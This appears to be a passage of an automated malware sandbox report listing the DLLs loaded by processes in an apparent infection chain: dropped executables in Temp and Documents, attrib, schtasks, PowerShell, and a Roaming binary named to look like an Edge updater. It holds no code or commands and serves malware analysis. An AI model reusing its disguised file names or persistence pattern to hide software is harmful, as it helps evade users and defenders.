Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ngcctnrsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ngcctnrgidshandler.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ngcctnr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edgegdi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edgegdi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: edgegdi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Section loaded: edgegdi.dll
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Section loaded: edgegdi.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: edgegdi.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: edgegdi.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: edgegdi.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Section loaded: edgegdi.dll
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Section loaded: winmm.dll
